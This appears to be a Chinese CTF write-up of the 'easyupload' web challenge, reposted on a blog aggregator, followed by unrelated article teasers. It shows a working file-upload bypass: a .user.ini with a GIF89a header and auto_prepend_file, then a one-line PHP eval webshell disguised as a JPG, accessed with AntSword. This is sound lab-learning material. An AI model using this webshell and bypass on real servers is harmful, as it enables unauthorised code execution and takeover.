【web | CTF】攻防世界 easyupload

天命:好像也不太easy

目录

步骤一:准备文件

步骤二:上传文件


本条题目有好几个防御点:

  1. 后缀名防御:只能上传图片格式
  2. 内容防御:内容不能有php
  3. 图片头防御:检测文件的头部信息,是否是图片头

首先判断只能上传图片格式的话,

那只能通过其他漏洞来把图片解析成php才能构成漏洞了

看了一下别人wp,原来是利用php的配置文件来实现漏洞攻击

php的 user.ini 配置文件里,有一个参数是在文件运行前把某个文件包含进来的

auto_prepend_file=文件名

我们只需要做一个局部配置文件,即可触发效果

然后上传图片,把图片包含进来即可

就相当于触发了文件包含漏洞

步骤一:准备文件

准备 .user.ini 文件,这里的GIF89a是用来绕过防御三(看上面)

GIF89a    
auto_prepend_file=a.jpg

准备 a.jpg 文件,这里取消php

采用了短标签写法,php7.0之后弃用,7.4好像就取消了,所以这题应该是php5

GIF89a   
<?=@eval($_POST['pass']);?>

步骤二:上传文件

先上传 .user.ini ,记得改成图片类型

再上传 a.jpg ,正常上传就行

然后查看一下流量去哪里了

说实话这里我也没看懂,只知道 .user.ini文件会应该 php 文件来包含 a.jpg

所以我们的木马应该是在这个 index.php 文件里连接

中国蚁剑getshell完事

flag在最外面的地方

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/660045.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

DevOps 演进:如何通过内部开发者平台(IDP)实现开发人员自助服务

自助服务是开发人员更快更好地创新的一种方式&#xff0c;同时降低业务风险。以下是设置内部开发平台 (IDP) 时该做什么和不该做什么。 如何实现开发人员自助服务是越来越多的企业目前正在努力的方向&#xff08;也被熟知为平台工程&#xff09;&#xff0c;他们将其作为最大限…

zookeeper(2) 服务器动态上下线监听和分布式锁案例

案例一&#xff1a;服务器动态上下线监听 某分布式系统中&#xff0c;主节点可以有多台&#xff0c;可以动态上下线&#xff0c;任意一台客户端都能实时感知 到主节点服务器的上下线。 1.服务端代码 package com.atguigu.case1;import org.apache.zookeeper.*;import java.io…

C++ //练习 3.28 下列数组中元素的值是什么?

C Primer&#xff08;第5版&#xff09; 练习 3.28 练习 3.28 下列数组中元素的值是什么&#xff1f; string sa[10]; int ia[10]; int main(){string sa2[10];int ia2[10]; }环境&#xff1a;Linux Ubuntu&#xff08;云服务器&#xff09; 工具&#xff1a;vim 解释 sa中…

微信小程序在线客服源码系统:聊天记录云端实时保存 带完整的搭建教程

微信小程序已经成为企业开展线上业务的重要渠道。然而&#xff0c;在小程序中提供客户服务需要解决聊天记录的存储与查询问题。传统的客服系统往往只能在本地保存聊天记录&#xff0c;一旦客户端出现问题&#xff0c;聊天记录可能会丢失&#xff0c;给企业带来巨大的损失。为了…

双屏联动系统在展厅设计中的互动类型与效果

随着各项多媒体技术的快速发展&#xff0c;让展厅中的各类展项得到技术升级&#xff0c;其中作为电子设备中最基础的显示技术&#xff0c;不仅优化了内容的展示质量&#xff0c;还实现了更具互动性的创新技术&#xff0c;如双屏联动系统就是当前展厅设计中最常见的技术类型之一…

单据报表增加保存按钮(将单据报表的数据保存到后台表)

单据报表增加保存按钮 &#x1f4e3;1. 需求 新建一张要存储保存数据的后台把&#xff0c;查出当月数据以后&#xff0c;可以点击保存按钮将当前月份的数据保存到后台表中。如果后台表中没有当前月份的数据&#xff0c;则直接保存到后台表中&#xff1b;如果后台表中有当前月份…

【C++】类和对象(1)

上节我们学习了C入门的一些语法知识&#xff0c;这篇博客来学习类和this指针。 目录 面向过程和面向对象的初步认识 类的引入 类的定义 类的访问限定符及封装 访问限定符 封装 类的作用域 类的实例化 类对象大小 this指针 this指针特性 面向过程和面向对象的初步认识…

UG949 适用于 FPGA 和 SoC 的UltraFast 设计方法指南

使用RTL创建设计 定义RTL设计层级 模块边界输出进行寄存 即寄存器输出&#xff0c;打一拍 IP的使用 AMBA AXI

c# Newtonsoft.Json 序列化和反序列化

1.安装 Newtonsoft.Json Nuget包 在C#中&#xff0c;你可以使用Newtonsoft.Json库来进行对象的序列化和反序列化&#xff0c;下面是一个简单的示例&#xff1a; using Newtonsoft.Json; using System;// 定义一个示例类 public class Person {public string Name { get; set; …

AI 原生时代的云计算

本文整理自2023年 12 月 20 日举办的「2023 百度云智大会智算大会」主论坛&#xff0c;百度副总裁谢广军的主题演讲《AI 原生时代的云计算》。 &#xff08;视频回放链接&#xff1a;https://cloud.baidu.com/summit/aicomputing_2023/index.html&#xff09; 大模型的到来&…

安卓之代码检查工具优劣分析以及应用场景

一、引言 代码检查工具在Android应用开发中是不可或缺的一部分&#xff0c;它们旨在提高代码质量、强化编程规范、消除潜在bug、提升应用性能和安全性。诸如Checkstyle、FindBugs、Infer、PMD和Android Lint等一系列工具各具特色&#xff0c;应用于不同的开发环节&#xff0c;有…

Leetcode—807. 保持城市天际线【中等】

2024每日刷题&#xff08;一零四&#xff09; Leetcode—807. 保持城市天际线 实现代码 class Solution { public:int maxIncreaseKeepingSkyline(vector<vector<int>>& grid) {int n grid.size();vector<int> row(n);vector<int> col(n);int a…

代理模式详解(重点解析JDK动态代理)

- 定义 在解析动态代理模式之前&#xff0c;先简单看下整个代理模式。代理模式分为普通代理、强制模式、动态代理模式。其中动态代理模式主要实现方式为Java JDK提供的JDK动态代理&#xff0c;第三方类库提供的&#xff0c;例如CGLIB动态代理。 代理模式就是为其他对象提供一种…

ArcGIS学习(二)属性表的基本操作

ArcGIS学习(二)属性表的基本操作 1.查看属性表 ArcGIS是处理空间数据的平台。对于空间数据,大家可以理解成它是由两个部分构成:1.一个是空间形体,也就是点、线、面三种。线又可以分为直线、曲线,面又分为圆形、正方形、不规则形体等;2.另外一个部分是空间形体所附带的…

nginx升级openssl3.1.3

nginx版本 1.24.0 openssl版本3.1.3 进入nginx源码目录执行./configure --prefix/usr/local/nginx --without-http_rewrite_module --with-http_stub_status_module --with-http_ssl_module --with-openssl/usr/local/src/openssl-3.1.3make这一步可能会报错, 我的是报后缀名为…

分布式锁(Distributed Lock)介绍(基于数据库(mysql);基于缓存(redis);基于ZooKeeper等分布式协调服务)

文章目录 分布式锁介绍1. 分布式锁的工作原理1.1 锁的基本概念1.2 工作机制 2. 分布式锁的实现方式2.1 基于数据库的分布式锁2.2 基于Redis的分布式锁2.3 基于ZooKeeper的分布式锁 3. 分布式锁的挑战3.1 死锁问题3.2 锁粒度问题粗粒度锁细粒度锁锁粒度的选择 3.3 锁的公平性问题…

关于Spring框架的 @Configuration 与@Service 加载顺序哪个先后(某些环境加载是随机的)

很多资料都说Configuration 优先加载&#xff0c;Service后加载&#xff0c;如下图&#xff1a; 本来也是以为 Configuration 优先加载于 Service &#xff0c;那参数处理放在Configuration注入完后&#xff0c;service构建时就可以拿来用的&#xff0c;在我在IDEA的调试时下断…

喜讯 | 经纬恒润整车电子电气测试实验室通过一汽研发总院外部实验室资质认证!

近日&#xff0c;经纬恒润整车电子电气测试实验室成功通过中国一汽研发总院的资质评定&#xff0c;获得外部实验室认可证书。这是继经纬恒润测试实验室获得一汽智能网联开发院车载以太网测试资质认证之后的又一次认可&#xff0c;它将拓宽经纬恒润与红旗新能源及相关零部件供应…

实现可编辑excel

需要花钱买的插件有这个 SpreadJS 要在Vue项目中创建可编辑的Excel页面&#xff0c;你可以使用一些Vue插件和库帮助你实现此功能。以下是一个简单的步骤指导&#xff1a; 安装所需的依赖项&#xff1a; 在你的Vue项目目录下&#xff0c;使用以下命令安装xlsx和vue-xlsx库&…

sqlite 存放json数据

在SQLite中存放和查询JSON数据&#xff0c;你可以使用SQLite内置的JSON支持&#xff08;从SQLite版本3.9.0开始引入的JSON1扩展&#xff0c;以及在后续版本中增强的功能如JSON函数和操作符&#xff09;。下面是如何在SQLite中存放和查询JSON数据的步骤&#xff1a; 创建表格并…